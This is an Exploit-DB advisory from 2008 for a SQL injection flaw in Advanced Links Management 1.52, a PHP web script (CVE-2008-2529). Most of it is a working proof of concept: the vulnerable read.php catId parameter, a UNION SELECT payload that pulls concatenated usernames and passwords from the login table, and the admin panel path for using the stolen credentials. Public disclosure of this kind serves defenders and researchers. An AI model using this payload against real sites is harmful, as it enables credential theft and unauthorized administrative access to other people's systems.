Advanced Links Management ALM 1.52 SQL Injection Vulnerability

2008-05-10T00:00:00
ID EDB-ID:5581
Type exploitdb
Reporter His0k4
Modified 2008-05-10T00:00:00

Description

Advanced Links Management (ALM) 1.52 SQL Injection Vulnerability. CVE-2008-2529. Webapps exploit for php platform

                                        
                                            ###################################################
[~] ALM - Advanced Links Management remote SQL injection exploit
[~] Script download : http://www.easy-script.com/scripts-dl/alm_v152.zip                                                                                                            
[~] Founder: His0k4 { ALGERIAN HACKER }
[~] Greetz : All friends & muslims HaCkErS...
[~] Contact: His0k4.hlm[at]gmail.com
[~] P.O.C :
---------------------
http://localhost/[script_path]/read.php?catId={SQL}
[~] Exemple :
http://localhost/[script_path]/read.php?catId=-1 UNION SELECT 1,concat(username,0x3a,password) FROM login--
---------------------
[~] Note:
    Admin login:  http://localhost/[script_path]/admin
---------------------
###############################################

# milw0rm.com [2008-05-10]